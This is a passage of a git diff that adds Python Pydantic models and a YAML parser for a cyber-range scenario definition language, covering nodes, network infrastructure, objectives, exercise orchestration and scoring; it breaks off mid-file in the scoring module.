b/src/aptl/core/sdl/features.py @@ -0,0 +1,39 @@ +"""Feature models — software deployed onto VMs. + +Features are composable configuration units (Service, Configuration, +or Artifact) with dependency graphs. The validator detects cycles. +""" + +from enum import Enum +from typing import Optional + +from pydantic import Field, field_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._source import Source + + +class FeatureType(str, Enum): + """Kind of feature deployed to a VM.""" + + SERVICE = "service" + CONFIGURATION = "configuration" + ARTIFACT = "artifact" + + +class Feature(SDLModel): + """A software artifact, service, or configuration deployed to a VM.""" + + name: str = "" + type: FeatureType = Field(alias="type") + source: Optional[Source] = None + + @field_validator("type", mode="before") + @classmethod + def normalize_type(cls, v: str) -> str: + return normalize_enum_value(v) + dependencies: list[str] = Field(default_factory=list) + vulnerabilities: list[str] = Field(default_factory=list) + destination: str = "" + description: str = "" + environment: list[str] = Field(default_factory=list) diff --git a/src/aptl/core/sdl/infrastructure.py b/src/aptl/core/sdl/infrastructure.py new file mode 100644 index 000000000..1e99a57e2 --- /dev/null +++ b/src/aptl/core/sdl/infrastructure.py @@ -0,0 +1,104 @@ +"""Infrastructure models — deployment topology. + +Maps node names to deployment parameters: instance counts, network +links, dependencies, and IP/CIDR properties. IP validation uses +Python's stdlib ``ipaddress`` module for backend-agnostic networking. + +ACL rules adapted from CybORG's ``Subnets.NACLs`` pattern. +""" + +from enum import Enum +from ipaddress import IPv4Address, IPv4Network, ip_address, ip_network +from typing import Any, Optional, Union + +from pydantic import Field, field_validator, model_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value + +MINIMUM_NODE_COUNT = 1 +DEFAULT_NODE_COUNT = 1 + + +class ACLAction(str, Enum): + """Firewall rule action.""" + + ALLOW = "allow" + DENY = "deny" + + +class ACLRule(SDLModel): + """A network access control rule on an infrastructure node. + + Adapted from CybORG's subnet NACL model. Specifies directional + traffic rules between network segments. + """ + + direction: str = "" + from_net: str = "" + to_net: str = "" + protocol: str = "any" + ports: list[int] = Field(default_factory=list) + action: ACLAction = ACLAction.ALLOW + description: str = "" + + @field_validator("action", mode="before") + @classmethod + def normalize_action(cls, v: str) -> str: + return normalize_enum_value(v) + + +class SimpleProperties(SDLModel): + """Network properties for a switch/subnet: CIDR, gateway, and flags.""" + + cidr: str + gateway: str + internal: bool = False + + @field_validator("cidr") + @classmethod + def validate_cidr(cls, v: str) -> str: + ip_network(v, strict=False) + return v + + @field_validator("gateway") + @classmethod + def validate_gateway(cls, v: str) -> str: + ip_address(v) + return v + + @model_validator(mode="after") + def gateway_within_cidr(self) -> "SimpleProperties": + net = ip_network(self.cidr, strict=False) + gw = ip_address(self.gateway) + if gw not in net: + raise ValueError( + f"Gateway {self.gateway} is not within CIDR {self.cidr}" + ) + return self + + +class InfraNode(SDLModel): + """Deployment parameters for a node. + + Shorthand: ``node-name: 3`` (just the count). + Longhand: full dict with count, links, dependencies, properties, acls. + """ + + count: int = Field(default=DEFAULT_NODE_COUNT, ge=MINIMUM_NODE_COUNT) + links: list[str] = Field(default_factory=list) + dependencies: list[str] = Field(default_factory=list) + properties: Optional[Union[SimpleProperties, list[dict[str, str]]]] = None + acls: list[ACLRule] = Field(default_factory=list) + description: str = "" + + @model_validator(mode="after") + def validate_unique_links(self) -> "InfraNode": + if len(self.links) != len(set(self.links)): + raise ValueError("Infrastructure links must be unique") + return self + + @model_validator(mode="after") + def validate_unique_dependencies(self) -> "InfraNode": + if len(self.dependencies) != len(set(self.dependencies)): + raise ValueError("Infrastructure dependencies must be unique") + return self diff --git a/src/aptl/core/sdl/nodes.py b/src/aptl/core/sdl/nodes.py new file mode 100644 index 000000000..adbb28610 --- /dev/null +++ b/src/aptl/core/sdl/nodes.py @@ -0,0 +1,191 @@ +"""Node models — VMs and network switches. + +Ports the OCR SDL Node/VM/Switch/Resources/Role structs with +backend-agnostic Source references. +""" + +import re +from enum import Enum +from typing import Optional + +from pydantic import Field, field_validator, model_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value +from aptl.core.sdl._source import Source + +MAX_NODE_NAME_LENGTH = 35 + +_BYTE_UNITS = { + "b": 1, + "kb": 1_000, + "kib": 1_024, + "mb": 1_000_000, + "mib": 1_048_576, + "gb": 1_000_000_000, + "gib": 1_073_741_824, + "tb": 1_000_000_000_000, + "tib": 1_099_511_627_776, +} + +_RAM_PATTERN = re.compile( + r"^\s*(\d+(?:\.\d+)?)\s*(" + "|".join(_BYTE_UNITS) + r")\s*$", + re.IGNORECASE, +) + + +def parse_ram(value: str | int) -> int: + """Parse a human-readable RAM string to bytes. + + Accepts bare integers (treated as bytes) or strings like + ``"4 GiB"``, ``"2048 MiB"``, ``"512mb"``. + """ + if isinstance(value, int): + return value + value_str = str(value).strip() + if value_str.isdigit(): + return int(value_str) + match = _RAM_PATTERN.match(value_str) + if not match: + raise ValueError( + f"Invalid RAM value: {value_str!r}. " + f"Use a number with a unit (e.g., '4 GiB', '2048 MiB')." + ) + amount = float(match.group(1)) + unit = match.group(2).lower() + return int(amount * _BYTE_UNITS[unit]) + + +class NodeType(str, Enum): + """Whether a node is a virtual machine or network switch.""" + + VM = "vm" + SWITCH = "switch" + + +class Resources(SDLModel): + """Compute resources for a VM node.""" + + ram: int = Field(ge=1, description="RAM in bytes (parsed from human-readable)") + cpu: int = Field(ge=1, description="Number of CPU cores") + + @field_validator("ram", mode="before") + @classmethod + def parse_ram_value(cls, v: str | int) -> int: + return parse_ram(v) + + +class Role(SDLModel): + """A named role on a VM with optional entity assignments. + + Shorthand: ``admin: "username"`` (just the username string). + Longhand: ``admin: {username: "admin", entities: ["blue-team.bob"]}``. + """ + + username: str + entities: list[str] = Field(default_factory=list) + + +class VM(SDLModel): + """Virtual machine configuration.""" + + source: Optional[Source] = None + resources: Resources + features: dict[str, str] = Field( + default_factory=dict, + description="Feature name -> role name mapping", + ) + conditions: dict[str, str] = Field( + default_factory=dict, + description="Condition name -> role name mapping", + ) + injects: dict[str, str] = Field( + default_factory=dict, + description="Inject name -> role name mapping", + ) + vulnerabilities: list[str] = Field(default_factory=list) + roles: dict[str, Role] = Field(default_factory=dict) + + +class OSFamily(str, Enum): + """Operating system family. Vocabulary from OCSF Device.os.""" + + WINDOWS = "windows" + LINUX = "linux" + MACOS = "macos" + FREEBSD = "freebsd" + OTHER = "other" + + +class AssetValueLevel(str, Enum): + """CIA triad value level. Adapted from CybORG ConfidentialityValue.""" + + NONE = "none" + LOW = "low" + MEDIUM = "medium" + HIGH = "high" + CRITICAL = "critical" + + +class AssetValue(SDLModel): + """CIA triad asset valuation for scoring and risk assessment.""" + + confidentiality: AssetValueLevel = AssetValueLevel.MEDIUM + integrity: AssetValueLevel = AssetValueLevel.MEDIUM + availability: AssetValueLevel = AssetValueLevel.MEDIUM + + +class ServicePort(SDLModel): + """A network service exposed by a node. From OCSF NetworkEndpoint.""" + + port: int = Field(ge=1, le=65535) + protocol: str = "tcp" + name: str = "" + description: str = "" + + +class Switch(SDLModel): + """Network switch — a pure connectivity node with no compute.""" + + pass + + +class Node(SDLModel): + """A scenario node — either a VM or a Switch. + + The ``type`` field determines which variant is active. VM fields + are only valid when type is VM; Switch nodes carry no extra data. + """ + + type: NodeType = Field(alias="type") + description: str = "" + source: Optional[Source] = None + + @field_validator("type", mode="before") + @classmethod + def normalize_type(cls, v: str) -> str: + return normalize_enum_value(v) + resources: Optional[Resources] = None + os: Optional[OSFamily] = None + os_version: str = "" + features: dict[str, str] = Field(default_factory=dict) + conditions: dict[str, str] = Field(default_factory=dict) + injects: dict[str, str] = Field(default_factory=dict) + vulnerabilities: list[str] = Field(default_factory=list) + roles: dict[str, Role] = Field(default_factory=dict) + services: list[ServicePort] = Field(default_factory=list) + asset_value: Optional[AssetValue] = None + + @field_validator("os", mode="before") + @classmethod + def normalize_os(cls, v): + return normalize_enum_value(v) if v is not None else v + + @model_validator(mode="after") + def validate_type_constraints(self) -> "Node": + """Switch nodes cannot have source, resources, features, etc.""" + if self.type == NodeType.SWITCH: + if self.source is not None: + raise ValueError("Switch nodes cannot have a source") + if self.resources is not None: + raise ValueError("Switch nodes cannot have resources") + return self diff --git a/src/aptl/core/sdl/objectives.py b/src/aptl/core/sdl/objectives.py new file mode 100644 index 000000000..661269666 --- /dev/null +++ b/src/aptl/core/sdl/objectives.py @@ -0,0 +1,155 @@ +"""Objective models — APTL scenario objectives with auto-evaluation. + +Extends the OCR SDL with APTL's objective system: typed objectives +(manual, wazuh_alert, command_output, file_exists) with validation +configs, hints, and scoring. + +Ported from the original ``aptl.core.scenarios`` module. +""" + +import re +from enum import Enum +from typing import Any, Optional + +from pydantic import Field, field_validator, model_validator + +from aptl.core.sdl._base import SDLModel + +_SLUG_PATTERN = re.compile(r"^[a-z0-9]+(?:-[a-z0-9]+)*$") + + +class ObjectiveType(str, Enum): + """How an objective is validated.""" + + MANUAL = "manual" + WAZUH_ALERT = "wazuh_alert" + COMMAND_OUTPUT = "command_output" + FILE_EXISTS = "file_exists" + + +class Hint(SDLModel): + """A progressive hint for an objective.""" + + level: int = Field(ge=1, le=5) + text: str + point_penalty: int = Field(default=0, ge=0) + + @field_validator("text") + @classmethod + def validate_text(cls, v: str) -> str: + if not v or not v.strip(): + raise ValueError("Hint text must not be empty") + return v + + +class WazuhAlertValidation(SDLModel): + """Validation config for wazuh_alert objective type.""" + + query: dict[str, Any] + min_matches: int = Field(default=1, ge=1) + time_window_seconds: int = Field(default=300, ge=10, le=3600) + + +class CommandOutputValidation(SDLModel): + """Validation config for command_output objective type.""" + + container: str + command: str + contains: list[str] = Field(default_factory=list) + regex: Optional[str] = None + + +class FileExistsValidation(SDLModel): + """Validation config for file_exists objective type.""" + + container: str + path: str + contains: Optional[str] = None + + +class Objective(SDLModel): + """A single objective within a scenario.""" + + id: str + description: str + type: ObjectiveType + points: int = Field(ge=0, le=1000) + hints: list[Hint] = Field(default_factory=list) + wazuh_alert: Optional[WazuhAlertValidation] = None + command_output: Optional[CommandOutputValidation] = None + file_exists: Optional[FileExistsValidation] = None + + @field_validator("id") + @classmethod + def validate_id(cls, v: str) -> str: + if not _SLUG_PATTERN.match(v): + raise ValueError( + f"Objective id '{v}' must be a lowercase slug " + "(e.g., 'port-scan')" + ) + return v + + @model_validator(mode="after") + def validate_has_validation_for_type(self) -> "Objective": + type_to_field = { + ObjectiveType.WAZUH_ALERT: "wazuh_alert", + ObjectiveType.COMMAND_OUTPUT: "command_output", + ObjectiveType.FILE_EXISTS: "file_exists", + } + if self.type != ObjectiveType.MANUAL: + field_name = type_to_field[self.type] + if getattr(self, field_name) is None: + raise ValueError( + f"Objective type '{self.type.value}' requires " + f"'{field_name}' validation config" + ) + return self + + @model_validator(mode="after") + def validate_hint_levels_unique(self) -> "Objective": + if not self.hints: + return self + levels = [h.level for h in self.hints] + if len(levels) != len(set(levels)): + raise ValueError("Hint levels must be unique") + return self + + +class ObjectiveSet(SDLModel): + """Red and blue team objectives for a scenario.""" + + red: list[Objective] = Field(default_factory=list) + blue: list[Objective] = Field(default_factory=list) + + @model_validator(mode="after") + def validate_unique_ids(self) -> "ObjectiveSet": + all_ids = [o.id for o in self.red] + [o.id for o in self.blue] + seen: set[str] = set() + duplicates: set[str] = set() + for obj_id in all_ids: + if obj_id in seen: + duplicates.add(obj_id) + seen.add(obj_id) + if duplicates: + raise ValueError(f"Duplicate objective ids: {duplicates}") + return self + + def all_objectives(self) -> list[Objective]: + """Return all objectives (red + blue) in order.""" + return self.red + self.blue + + +class TimeBonusConfig(SDLModel): + """Configuration for time-based bonus scoring.""" + + enabled: bool = False + max_bonus: int = Field(default=0, ge=0) + decay_after_minutes: int = Field(default=10, ge=1) + + +class ScoringConfig(SDLModel): + """Scoring parameters for a scenario.""" + + time_bonus: TimeBonusConfig = Field(default_factory=TimeBonusConfig) + passing_score: int = Field(default=0, ge=0) + max_score: int = Field(default=0, ge=0) diff --git a/src/aptl/core/sdl/orchestration.py b/src/aptl/core/sdl/orchestration.py new file mode 100644 index 000000000..295bf77d5 --- /dev/null +++ b/src/aptl/core/sdl/orchestration.py @@ -0,0 +1,160 @@ +"""Orchestration models — Injects, Events, Scripts, Stories. + +Implements the OCR SDL exercise orchestration pipeline: + Stories -> Scripts -> Events -> { Conditions, Injects } + +Scripts use human-readable duration strings (e.g., ``"10min 2 sec"``). +""" + +import re +from typing import Optional + +from pydantic import Field, field_validator, model_validator + +from aptl.core.sdl._base import SDLModel +from aptl.core.sdl._source import Source + +# Duration parsing: supports combinations like "1h 30min", "10 min 2 sec" +_DURATION_UNITS = { + "w": 604_800, + "week": 604_800, + "weeks": 604_800, + "d": 86_400, + "day": 86_400, + "days": 86_400, + "h": 3_600, + "hr": 3_600, + "hour": 3_600, + "hours": 3_600, + "m": 60, + "min": 60, + "mins": 60, + "minute": 60, + "minutes": 60, + "s": 1, + "sec": 1, + "secs": 1, + "second": 1, + "seconds": 1, + "ms": 0.001, +} + +_DURATION_TOKEN = re.compile( + r"(\d+(?:_\d+)*(?:\.\d+)?)\s*(" + + "|".join(sorted(_DURATION_UNITS, key=len, reverse=True)) + + r")\b", + re.IGNORECASE, +) + + +def parse_duration(value: str | int | float) -> int: + """Parse a human-readable duration string to seconds. + + Accepts integers/floats (treated as seconds) or strings like + ``"10min 2 sec"``, ``"1 week 1day 1h"``, ``"0"``. + """ + if isinstance(value, (int, float)): + return int(value) + + value_str = str(value).strip().replace("_", "") + if not value_str or value_str == "0": + return 0 + + if value_str.isdigit(): + return int(value_str) + + total = 0.0 + found = False + for match in _DURATION_TOKEN.finditer(value_str): + found = True + amount = float(match.group(1)) + unit = match.group(2).lower() + total += amount * _DURATION_UNITS[unit] + + if not found: + raise ValueError(f"Invalid duration: {value!r}") + + return int(total) + + +class Inject(SDLModel): + """An action injected between entities during an exercise.""" + + name: str = "" + source: Optional[Source] = None + from_entity: str = "" + to_entities: list[str] = Field(default_factory=list) + tlos: list[str] = Field(default_factory=list) + description: str = "" + environment: list[str] = Field(default_factory=list) + + @model_validator(mode="after") + def validate_entity_pairing(self) -> "Inject": + has_from = bool(self.from_entity) + has_to = bool(self.to_entities) + if has_from != has_to: + raise ValueError( + "Inject must have both 'from_entity' and 'to_entities', " + "or neither" + ) + return self + + +class Event(SDLModel): + """A triggered action combining conditions and injects.""" + + name: str = "" + source: Optional[Source] = None + conditions: list[str] = Field(default_factory=list) + injects: list[str] = Field(default_factory=list) + description: str = "" + + +class Script(SDLModel): + """A timed sequence of events. + + Time values are human-readable duration strings parsed to seconds. + """ + + name: str = "" + start_time: int = Field(ge=0) + end_time: int = Field(ge=0) + speed: float = Field(gt=0) + events: dict[str, int] = Field(min_length=1) + description: str = "" + + @field_validator("start_time", "end_time", mode="before") + @classmethod + def parse_time(cls, v: str | int | float) -> int: + return parse_duration(v) + + @field_validator("events", mode="before") + @classmethod + def parse_event_times(cls, v: dict) -> dict[str, int]: + if isinstance(v, dict): + return {k: parse_duration(t) for k, t in v.items()} + return v + + @model_validator(mode="after") + def validate_time_bounds(self) -> "Script": + if self.end_time < self.start_time: + raise ValueError( + f"Script end_time ({self.end_time}s) must be >= " + f"start_time ({self.start_time}s)" + ) + for event_name, event_time in self.events.items(): + if event_time < self.start_time or event_time > self.end_time: + raise ValueError( + f"Event '{event_name}' time ({event_time}s) is outside " + f"script bounds [{self.start_time}s, {self.end_time}s]" + ) + return self + + +class Story(SDLModel): + """Top-level exercise orchestration — a group of scripts.""" + + name: str = "" + speed: float = Field(default=1.0, ge=1.0) + scripts: list[str] = Field(min_length=1) + description: str = "" diff --git a/src/aptl/core/sdl/parser.py b/src/aptl/core/sdl/parser.py new file mode 100644 index 000000000..6d82fcfb7 --- /dev/null +++ b/src/aptl/core/sdl/parser.py @@ -0,0 +1,243 @@ +"""SDL parser — YAML loading with key normalization and shorthand expansion. + +Provides ``parse_sdl()`` as the primary entry point. Handles: +- Case-insensitive key normalization (``Name`` → ``name``) +- Hyphen-to-underscore conversion (``min-score`` → ``min_score``) +- Shorthand expansion (``source: "pkg"`` → ``{name: "pkg", version: "*"}``) +- Auto-detection of APTL legacy format vs OCR SDL format +""" + +from pathlib import Path +from typing import Any + +import yaml + +from aptl.core.sdl._errors import SDLParseError, SDLValidationError +from aptl.core.sdl.scenario import Scenario +from aptl.core.sdl.validator import SemanticValidator + + +# Top-level sections that are HashMaps of user-defined identifiers. +# Keys inside these are scenario-author names (e.g., "web-server") +# and must NOT be transformed. +_HASHMAP_SECTIONS = frozenset({ + "nodes", "infrastructure", "features", "conditions", + "vulnerabilities", "metrics", "evaluations", "tlos", + "goals", "entities", "injects", "events", "scripts", "stories", + "content", "accounts", +}) + +# Fields within struct models that are also HashMaps of user-defined keys. +_NESTED_HASHMAP_FIELDS = frozenset({ + "features", # VM.features (dict[str, str]) + "conditions", # VM.conditions (dict[str, str]) + "injects", # VM.injects (dict[str, str]) + "roles", # Node.roles (dict[str, Role]) + "entities", # Entity.entities (dict[str, Entity]) + "events", # Script.events (dict[str, int]) + "platform_commands", # AttackStep.platform_commands (dict[str, PlatformCommand]) +}) + + +def _normalize_field_key(k: Any) -> Any: + """Normalize a Pydantic field key: lowercase + hyphens to underscores.""" + if isinstance(k, str): + return k.lower().replace("-", "_") + return k + + +def _normalize_keys(data: Any, is_hashmap: bool = False) -> Any: + """Normalize dict keys for Pydantic field matching. + + Pydantic struct field keys are lowercased with hyphens converted to + underscores. User-defined HashMap keys (node names, feature names, + entity names, etc.) are preserved as-is so cross-references remain + consistent. + """ + if isinstance(data, dict): + result = {} + for k, v in data.items(): + if is_hashmap: + # This key is a user-defined identifier — preserve it + norm_k = k + else: + norm_k = _normalize_field_key(k) + + # Check if this field's children are user-defined HashMap keys + child_key = norm_k if isinstance(norm_k, str) else str(norm_k) + child_is_hashmap = ( + child_key in _HASHMAP_SECTIONS + or child_key in _NESTED_HASHMAP_FIELDS + ) + # Complex properties (list of {link-name: ip}) have user-defined keys + if child_key == "properties" and isinstance(v, list): + child_is_hashmap = True + result[norm_k] = _normalize_keys(v, is_hashmap=child_is_hashmap) + return result + if isinstance(data, list): + # List items inherit the hashmap flag — if the parent dict had + # user-defined keys, list items within it do too. + return [_normalize_keys(item, is_hashmap=is_hashmap) for item in data] + return data + + +def _expand_source(value: Any) -> Any: + """Expand shorthand source: 'pkg-name' → {name: 'pkg-name', version: '*'}.""" + if isinstance(value, str): + return {"name": value, "version": "*"} + return value + + +def _expand_infrastructure(infra: dict[str, Any]) -> dict[str, Any]: + """Expand infrastructure shorthand: {node: 3} → {node: {count: 3}}.""" + result = {} + for name, value in infra.items(): + if isinstance(value, int): + result[name] = {"count": value} + else: + result[name] = value + return result + + +def _expand_roles(roles: dict[str, Any]) -> dict[str, Any]: + """Expand role shorthand: {admin: 'username'} → {admin: {username: 'username'}}.""" + result = {} + for name, value in roles.items(): + if isinstance(value, str): + result[name] = {"username": value} + else: + result[name] = value + return result + + +def _expand_min_score(value: Any) -> Any: + """Expand min-score shorthand: 50 → {percentage: 50}.""" + if isinstance(value, int): + return {"percentage": value} + return value + + +def _expand_shorthands(data: dict[str, Any]) -> dict[str, Any]: + """Apply all shorthand expansions to normalized data.""" + # Expand sources throughout the tree + def expand_sources(obj: Any) -> Any: + if isinstance(obj, dict): + result = {} + for k, v in obj.items(): + if k == "source": + result[k] = _expand_source(v) + else: + result[k] = expand_sources(v) + return result + if isinstance(obj, list): + return [expand_sources(item) for item in obj] + return obj + + data = expand_sources(data) + + # Expand infrastructure shorthand + if "infrastructure" in data and isinstance(data["infrastructure"], dict): + data["infrastructure"] = _expand_infrastructure(data["infrastructure"]) + + # Expand roles and feature/condition/inject list shorthands within nodes + if "nodes" in data and isinstance(data["nodes"], dict): + for node_data in data["nodes"].values(): + if isinstance(node_data, dict): + if "roles" in node_data: + node_data["roles"] = _expand_roles(node_data["roles"]) + # G6: features/conditions/injects as list -> dict with empty role + for field in ("features", "conditions", "injects"): + if field in node_data and isinstance(node_data[field], list): + node_data[field] = { + name: "" for name in node_data[field] + } + + # Expand min_score in evaluations + if "evaluations" in data and isinstance(data["evaluations"], dict): + for eval_data in data["evaluations"].values(): + if isinstance(eval_data, dict) and "min_score" in eval_data: + eval_data["min_score"] = _expand_min_score( + eval_data["min_score"] + ) + + return data + + +def _is_legacy_format(data: dict[str, Any]) -> bool: + """Detect whether data is APTL legacy format (has metadata.id).""" + return "metadata" in data and isinstance(data["metadata"], dict) + + +def parse_sdl( + content: str, + path: Path | None = None, + *, + skip_semantic_validation: bool = False, +) -> Scenario: + """Parse an SDL YAML string into a validated Scenario. + + Handles both OCR SDL format (``name`` at top level) and APTL + legacy format (``metadata`` block). Runs structural validation + (Pydantic) and semantic validation (cross-references, cycles, etc.). + + Args: + content: Raw YAML string. + path: Optional file path for error messages. + skip_semantic_validation: If True, only run Pydantic structural + validation (useful for partial scenarios during development). + + Returns: + Validated Scenario object. + + Raises: + SDLParseError: If YAML parsing fails or the data isn't a dict. + SDLValidationError: If semantic validation finds errors. + """ + content = content.strip() + if not content: + raise SDLParseError("SDL content is empty", path=path) + + try: + raw = yaml.safe_load(content) + except yaml.YAMLError as e: + raise SDLParseError(f"Invalid YAML: {e}", path=path) from e + + if not isinstance(raw, dict): + raise SDLParseError( + "SDL must be a YAML mapping (not a scalar or list)", path=path + ) + + # Normalize keys (case-insensitive, hyphens to underscores) + data = _normalize_keys(raw) + + # Expand shorthands + data = _expand_shorthands(data) + + # Construct the Pydantic model (structural validation) + try: + scenario = Scenario(**data) + except Exception as e: + raise SDLParseError(str(e), path=path) from e + + # Semantic validation + if not skip_semantic_validation: + validator = SemanticValidator(scenario) + try: + validator.validate() + except SDLValidationError as e: + e.path = path + raise + + return scenario + + +def parse_sdl_file(path: Path, **kwargs: Any) -> Scenario: + """Parse an SDL YAML file into a validated Scenario. + + Convenience wrapper around ``parse_sdl()`` that reads from a file. + """ + if not path.exists(): + raise FileNotFoundError(f"SDL file not found: {path}") + + content = path.read_text(encoding="utf-8") + return parse_sdl(content, path=path, **kwargs) diff --git a/src/aptl/core/sdl/scenario.py b/src/aptl/core/sdl/scenario.py new file mode 100644 index 000000000..0f13ffa12 --- /dev/null +++ b/src/aptl/core/sdl/scenario.py @@ -0,0 +1,227 @@ +"""Top-level Scenario model combining all SDL sections. + +The Scenario is the root object of the SDL. It merges the 14 OCR SDL +sections with APTL extensions (objectives, attack steps, defenses, +preconditions, metadata). Only ``name`` is required for an OCR-style +scenario; APTL legacy format requires ``metadata`` instead. +""" + +import re +from enum import Enum +from typing import Any, Optional + +from pydantic import Field, field_validator, model_validator + +from aptl.core.sdl._base import SDLModel +from aptl.core.sdl.accounts import Account +from aptl.core.sdl.attacks import AttackStep, MitreReference +from aptl.core.sdl.conditions import Condition +from aptl.core.sdl.content import Content +from aptl.core.sdl.defenses import DefenseConfig +from aptl.core.sdl.entities import Entity +from aptl.core.sdl.features import Feature +from aptl.core.sdl.infrastructure import InfraNode +from aptl.core.sdl.nodes import Node +from aptl.core.sdl.objectives import ObjectiveSet, ScoringConfig +from aptl.core.sdl.orchestration import Event, Inject, Script, Story +from aptl.core.sdl.scoring import Evaluation, Goal, Metric, TLO +from aptl.core.sdl.vulnerabilities import Vulnerability + +_SLUG_PATTERN = re.compile(r"^[a-z0-9]+(?:-[a-z0-9]+)*$") + + +class Difficulty(str, Enum): + """Scenario difficulty level.""" + + BEGINNER = "beginner" + INTERMEDIATE = "intermediate" + ADVANCED = "advanced" + EXPERT = "expert" + + +class ScenarioMode(str, Enum): + """Which team roles are involved in the scenario.""" + + RED = "red" + BLUE = "blue" + PURPLE = "purple" + + +class PreconditionType(str, Enum): + """Type of precondition action to apply before scenario start.""" + + EXEC = "exec" + FILE = "file" + + +class Precondition(SDLModel): + """An action to apply before scenario start.""" + + type: PreconditionType + container: str + description: str = "" + command: Optional[str] = None + path: Optional[str] = None + content: Optional[str] = None + + @model_validator(mode="after") + def validate_fields_for_type(self) -> "Precondition": + if self.type == PreconditionType.EXEC and not self.command: + raise ValueError("Precondition type 'exec' requires 'command'") + if self.type == PreconditionType.FILE: + if not self.path: + raise ValueError("Precondition type 'file' requires 'path'") + if self.content is None: + raise ValueError("Precondition type 'file' requires 'content'") + return self + + +class ContainerRequirements(SDLModel): + """Which containers must be enabled for this scenario.""" + + required: list[str] + + @field_validator("required") + @classmethod + def validate_required(cls, v: list[str]) -> list[str]: + if not v: + raise ValueError("Scenario must require at least one container") + return v + + +class ScenarioMetadata(SDLModel): + """Descriptive metadata for an APTL scenario.""" + + id: str + name: str + description: str + version: str = "1.0.0" + author: str = "" + difficulty: Difficulty + estimated_minutes: int = Field(gt=0, le=480) + tags: list[str] = Field(default_factory=list) + mitre_attack: MitreReference = Field(default_factory=MitreReference) + + @field_validator("id") + @classmethod + def validate_id(cls, v: str) -> str: + if not _SLUG_PATTERN.match(v): + raise ValueError( + f"Scenario id '{v}' must be a lowercase slug " + "(e.g., 'recon-nmap-scan')" + ) + return v + + @field_validator("name") + @classmethod + def validate_name(cls, v: str) -> str: + if not v or not v.strip(): + raise ValueError("Scenario name must not be empty") + return v + + @field_validator("description") + @classmethod + def validate_description(cls, v: str) -> str: + if not v or not v.strip(): + raise ValueError("Scenario description must not be empty") + return v + + +class Scenario(SDLModel): + """Top-level scenario definition. + + Combines the 14 OCR SDL sections with APTL extensions. Supports + two format styles: + + - **OCR-style**: ``name`` at top level, plus optional sections + - **APTL legacy**: ``metadata`` block with ``id``, ``name``, etc. + + Both styles coexist. The parser detects and normalizes the format. + """ + + # --- OCR SDL: identity --- + name: str = "" + description: str = "" + + # --- OCR SDL: 14 sections --- + nodes: dict[str, Node] = Field(default_factory=dict) + infrastructure: dict[str, InfraNode] = Field(default_factory=dict) + features: dict[str, Feature] = Field(default_factory=dict) + conditions: dict[str, Condition] = Field(default_factory=dict) + vulnerabilities: dict[str, Vulnerability] = Field(default_factory=dict) + metrics: dict[str, Metric] = Field(default_factory=dict) + evaluations: dict[str, Evaluation] = Field(default_factory=dict) + tlos: dict[str, TLO] = Field(default_factory=dict) + goals: dict[str, Goal] = Field(default_factory=dict) + entities: dict[str, Entity] = Field(default_factory=dict) + injects: dict[str, Inject] = Field(default_factory=dict) + events: dict[str, Event] = Field(default_factory=dict) + scripts: dict[str, Script] = Field(default_factory=dict) + stories: dict[str, Story] = Field(default_factory=dict) + + # --- New sections (G1, G2) --- + content: dict[str, Content] = Field(default_factory=dict) + accounts: dict[str, Account] = Field(default_factory=dict) + + # --- APTL extensions --- + metadata: Optional[ScenarioMetadata] = None + mode: Optional[ScenarioMode] = None + containers: Optional[ContainerRequirements] = None + preconditions: list[Precondition] = Field(default_factory=list) + objectives: ObjectiveSet = Field( + default_factory=lambda: ObjectiveSet(red=[], blue=[]) + ) + scoring: ScoringConfig = Field(default_factory=ScoringConfig) + attack_chain: str = "" + steps: list[AttackStep] = Field(default_factory=list) + defenses: Optional[dict[str, Any] | DefenseConfig] = None + + @model_validator(mode="after") + def validate_has_identity(self) -> "Scenario": + """Scenario must have a name (OCR-style or via metadata).""" + has_name = bool(self.name) + has_metadata = self.metadata is not None + if not has_name and not has_metadata: + raise ValueError( + "Scenario must have 'name' (OCR-style) or 'metadata' (APTL-style)" + ) + return self + + @model_validator(mode="after") + def validate_step_numbers_unique(self) -> "Scenario": + if not self.steps: + return self + numbers = [s.step_number for s in self.steps] + if len(numbers) != len(set(numbers)): + raise ValueError("Attack step numbers must be unique") + return self + + @model_validator(mode="after") + def validate_mode_has_objectives(self) -> "Scenario": + """APTL-style: scenario mode must match the objectives provided.""" + if self.mode is None: + return self + has_objectives = bool(self.objectives.red or self.objectives.blue) + if not has_objectives: + return self + if self.mode == ScenarioMode.RED and not self.objectives.red: + raise ValueError("Red mode scenario must have red objectives") + if self.mode == ScenarioMode.BLUE and not self.objectives.blue: + raise ValueError("Blue mode scenario must have blue objectives") + if self.mode == ScenarioMode.PURPLE: + if not self.objectives.red and not self.objectives.blue: + raise ValueError( + "Purple mode scenario must have at least one objective" + ) + return self + + @model_validator(mode="after") + def validate_has_content(self) -> "Scenario": + """APTL-style: scenario must have steps, objectives, or OCR content.""" + if self.metadata is None: + return self # OCR-style — content check is more relaxed + has_steps = bool(self.steps) + has_objectives = bool(self.objectives.red or self.objectives.blue) + if not has_steps and not has_objectives: + raise ValueError("Scenario must have steps or objectives (or both)") + return self diff --git a/src/aptl/core/sdl/scoring.py b/src/aptl/core/sdl/scoring.py new file mode 100644 index 000000000..a22798663 --- /dev/null +++ b/src/aptl/core/sdl/scoring.py @@ -0,0 +1,103 @@ +"""Scoring models — Metrics, Evaluations, TLOs, and Goals. + +Implements the OCR SDL scoring pipeline: + Conditions -> Metrics -> Evaluations -> TLOs -> Goals + +Metrics are either manual (human-graded) or conditional (automated +via condition checks). Evaluations group metrics with pass/fail +thresholds. TLOs link to evaluations. Goals compose TLOs. +""" + +from enum import Enum +from typing import Optional + +from pydantic import Field, field_validator, model_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value + + +class MetricType(str, Enum): + """How a metric is scored.""" + + MANUAL = "manual" + CONDITIONAL = "conditional" + + +class Metric(SDLModel): + """A scoring metric — either manual or conditional. + + Manual metrics may require artifact submission. Conditional + metrics reference a condition that produces the score. + """ + + name: str = "" + type: MetricType = Field(alias="type") + artifact: Optional[bool] = None + + @field_validator("type", mode="before") + @classmethod + def normalize_type(cls, v: str) -> str: + return normalize_enum_value(v) + max_score: int = Field(ge=1) + condition: Optional[str] = None + description: str = "" + + @model_validator(mode="after") + def validate_type_fields(self) -> "Metric": + if self.type == MetricType.MANUAL: + if self.condition is not None: + raise ValueError("Manual metric cannot have a condition") + elif self.type == MetricType.CONDITIONAL: + if self.condition is None: + raise ValueError("Conditional metric requires a condition") + if 